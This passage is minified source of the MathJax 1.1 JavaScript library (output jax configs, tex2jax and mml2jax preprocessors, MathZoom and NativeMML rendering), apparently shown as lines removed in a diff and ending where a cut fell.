MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var 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false},MSIEmousedown:function(h,g,f){if(h[this.MENUKEY]&&h.button===this.LEFTBUTTON&&this.settings.context!=="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}if(this.MSIEzoomKeys&&this.MSIEzoomKeys(h)){this.trapUp=true;return true}return false},MSIEcontextmenu:function(h,g,f){if(this.settings.context==="MathJax"){this.trapUp=this.trapClick=true;this.ContextMenu.call(f,h,true);return true}return false},ContextMenu:function(i,j){if(b.config.showMathMenu&&(b.settings.context==="MathJax"||j)){if(b.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||b.msieEventBug){i=window.event}var g=MathJax.Menu;if(g){if(document.selection){setTimeout("document.selection.empty()",0)}var f=(c?this.parentNode.parentNode.nextSibling:this.parentNode.nextSibling);g.jax=e.getJaxFor(f);g.menu.items[1].menu.items[1].name=(g.jax.inputJax.id==="MathML"?"Original":g.jax.inputJax.id);delete b.trapClick;delete b.trapUp;return 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b.ContextMenu.call(this,f,true)}},Mouseover:function(f){b.HandleEvent(f,"Mouseover",this)},Click:function(f){b.HandleEvent(f,"Click",this)},DblClick:function(f){b.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},NAMEDSPACE:{negativeveryverythinmathspace:"-.0556em",negativeverythinmathspace:"-.1111em",negativethinmathspace:"-.1667em",negativemediummathspace:"-.2222em",negativethickmathspace:"-.2778em",negativeverythickmathspace:"-.3333em",negativeveryverythickmathspace:"-.3889em"}});e.Register.StartupHook("mml Jax Ready",function(){a=MathJax.ElementJax.mml;a.mbase.Augment({toNativeMML:function(k){var h=this.NativeMMLelement(this.type);this.NativeMMLattributes(h);for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)},NativeMMLattributes:function(h){var l=this.defaults;var o=this.NativeMMLcopyAttributes,k=this.NativeMMLskipAttributes;if(this.type==="mstyle"){l=a.math.prototype.defaults}for(var n in l){if(!k[n]&&l.hasOwnProperty(n)){if(this[n]!=null){h.setAttribute(n,this.NativeMMLattribute(n,this[n]))}}}for(var j=0,g=o.length;j<g;j++){if(this[o[j]]!=null){h.setAttribute(o[j],this.NativeMMLattribute(o[j],this[o[j]]))}}},NativeMMLcopyAttributes:["fontfamily","fontsize","fontweight","fontstyle","color","background","id","class","href","style"],NativeMMLskipAttributes:{texClass:1,useHeight:1,texprimestyle:1},NativeMMLattribute:function(h,g){g=String(g);if(b.NAMEDSPACE[g]){g=b.NAMEDSPACE[g]}else{if(g.match(/^\s*([-+]?(\d+(\.\d*)?|\.\d+))\s*mu\s*$/)){g=((1/18)*RegExp.$1)+"em"}else{if(g==="-tex-caligraphic"){g="script"}else{if(g==="-tex-oldstyle"){g="normal"}}}}return g},NativeMMLelement:(c?function(g){return document.createElement("mjx:"+g)}:function(g){return document.createElementNS(b.MMLnamespace,g)})});a.mrow.Augment({toNativeMML:function(j){if(this.inferred&&this.parent.inferRow){for(var h=0,g=this.data.length;h<g;h++){if(this.data[h]){this.data[h].toNativeMML(j)}else{j.appendChild(this.NativeMMLelement("mrow"))}}}else{this.SUPER(arguments).toNativeMML.call(this,j)}}});a.msubsup.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.sup]==null){k="msub"}if(this.data[this.sub]==null){k="msup"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});a.munderover.Augment({toNativeMML:function(l){var k=this.type;if(this.data[this.under]==null){k="mover"}if(this.data[this.over]==null){k="munder"}var h=this.NativeMMLelement(k);this.NativeMMLattributes(h);delete this.data[0].inferred;for(var j=0,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}}l.appendChild(h)}});if(MathJax.Hub.Browser.isFirefox){a.mtable.Augment({toNativeMML:function(g){if(this.width){var h=(this.style||"").replace(/;\s*$/,"").split(";");h.push("width:"+this.width);this.style=h.join(";")}this.SUPER(arguments).toNativeMML.call(this,g)}});a.mlabeledtr.Augment({toNativeMML:function(k){var h=this.NativeMMLelement("mtr");this.NativeMMLattributes(h);for(var j=1,g=this.data.length;j<g;j++){if(this.data[j]){this.data[j].toNativeMML(h)}else{h.appendChild(this.NativeMMLelement("mrow"))}}k.appendChild(h)}});var f=MathJax.Hub.config.root+"/fonts/HTML-CSS/TeX/otf";b.Augment({config:{styles:{'[mathvariant="double-struck"]':{"font-family":"MathJax_AMS"},'[mathvariant="script"]':{"font-family":"MathJax_Script"},'[mathvariant="fraktur"]':{"font-family":"MathJax_Fraktur"},'[mathvariant="-tex-oldstyle"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-oldstyle-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="-tex-caligraphic"]':{"font-family":"MathJax_Caligraphic"},'[mathvariant="-tex-caligraphic-bold"]':{"font-family":"MathJax_Caligraphic","font-weight":"bold"},'[mathvariant="bold-script"]':{"font-family":"MathJax_Script","font-weight":"bold"},'[mathvariant="bold-fraktur"]':{"font-family":"MathJax_Fraktur","font-weight":"bold"},'[mathvariant="monospace"]':{"font-family":"monospace"},'[mathvariant="sans-serif"]':{"font-family":"sansserif"},'[mathvariant="bold-sans-serif"]':{"font-family":"sansserif","font-weight":"bold"},'[mathvariant="sans-serif-italic"]':{"font-family":"sansserif","font-style":"italic"},'[mathvariant="sans-serif-bold-italic"]':{"font-family":"sansserif","font-style":"italic","font-weight":"bold"},"@font-face /*1*/":{"font-family":"MathJax_AMS",src:"local('MathJax_AMS'), url('"+f+"/MathJax_AMS-Regular.otf')"},"@font-face /*2*/":{"font-family":"MathJax_Script",src:"local('MathJax_Script'), url('"+f+"/MathJax_Script-Regular.otf')"},"@font-face /*3*/":{"font-family":"MathJax_Fraktur",src:"local('MathJax_Fraktur'), url('"+f+"/MathJax_Fraktur-Regular.otf')"},"@font-face /*4*/":{"font-family":"MathJax_Caligraphic",src:"local('MathJax_Caligraphic'), url('"+f+"/MathJax_Caligraphic-Regular.otf')"},"@font-face /*5*/":{"font-family":"MathJax_Fraktur","font-weight":"bold",src:"local('MathJax_Fraktur-Bold'), url('"+f+"/MathJax_Fraktur-Bold.otf')"},"@font-face /*6*/":{"font-family":"MathJax_Caligraphic","font-weight":"bold",src:"local('MathJax_Caligraphic-Bold'), url('"+f+"/MathJax_Caligraphic-Bold.otf')"}}}})}a.TeXAtom.Augment({toNativeMML:function(h){var g=this.NativeMMLelement("mrow");this.data[0].toNativeMML(g);h.appendChild(g)}});a.chars.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.entity.Augment({toNativeMML:function(g){g.appendChild(document.createTextNode(this.toString()))}});a.xml.Augment({toNativeMML:function(j){for(var h=0,g=this.data.length;h<g;h++){j.appendChild(this.data[h].cloneNode(true))}}});e.Register.StartupHook("TeX mathchoice Ready",function(){a.TeXmathchoice.Augment({toNativeMML:function(g){this.Core().toNativeMML(g)}})});setTimeout(MathJax.Callback(["loadComplete",b,"jax.js"]),0)});e.Register.StartupHook("End Cookie",function(){if(e.config.menuSettings.zoom!=="None"){d.Require("[MathJax]/extensions/MathZoom.js")}})})(MathJax.OutputJax.NativeMML,MathJax.Hub,MathJax.Ajax);
-
-(function(c,d,e){var a;var b=MathJax.Object.Subclass({timeout:5*1000,FontInfo:{STIX:{family:"STIXSizeOneSym",testString:"() {} []"},TeX:{family:"MathJax_Size1",testString:"() {} []"}},comparisonFont:["sans-serif","monospace","script","Times","Courier","Arial","Helvetica"],testSize:["40px","50px","60px","30px","20px"],Init:function(){this.div=MathJax.HTML.addElement(document.body,"div",{style:{position:"absolute",visibility:"hidden",top:0,left:0,width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal",fontSize:this.testSize[0],fontWeight:"normal",fontStyle:"normal"}},[""]);this.text=this.div.firstChild},findFont:function(j,g){if(g&&this.testCollection(g)){return g}for(var h=0,f=j.length;h<f;h++){if(j[h]===g){continue}if(this.testCollection(j[h])){return j[h]}}return null},testCollection:function(f){return this.testFont(this.FontInfo[f])},testFont:function(h){if(h.isWebFont&&e.FontFaceBug){this.div.style.fontWeight=this.div.style.fontStyle="normal"}else{this.div.style.fontWeight=(h.weight||"normal");this.div.style.fontStyle=(h.style||"normal")}var g=this.getComparisonWidths(h.testString,h.noStyleChar);if(g){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[0];if(this.div.offsetWidth==g[0]){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[g[2]];if(this.div.offsetWidth==g[1]){return false}}if(this.div.offsetWidth!=g[3]){if(h.noStyleChar||!e.FONTDATA||!e.FONTDATA.hasStyleChar){return true}for(var j=0,f=this.testSize.length;j<f;j++){if(this.testStyleChar(h,this.testSize[j])){return true}}}}return false},styleChar:String.fromCharCode(61437),versionChar:String.fromCharCode(61438),compChar:String.fromCharCode(61439),testStyleChar:function(h,j){var m=3+(h.weight?2:0)+(h.style?4:0);var g="",i=0;var l=this.div.style.fontSize;this.div.style.fontSize=j;if(e.msieItalicWidthBug&&h.style==="italic"){this.text.nodeValue=g=this.compChar;i=this.div.offsetWidth}if(e.safariTextNodeBug){this.div.innerHTML=this.compChar+g}else{this.text.nodeValue=this.compChar+g}var f=this.div.offsetWidth-i;if(e.safariTextNodeBug){this.div.innerHTML=this.styleChar+g}else{this.text.nodeValue=this.styleChar+g}var 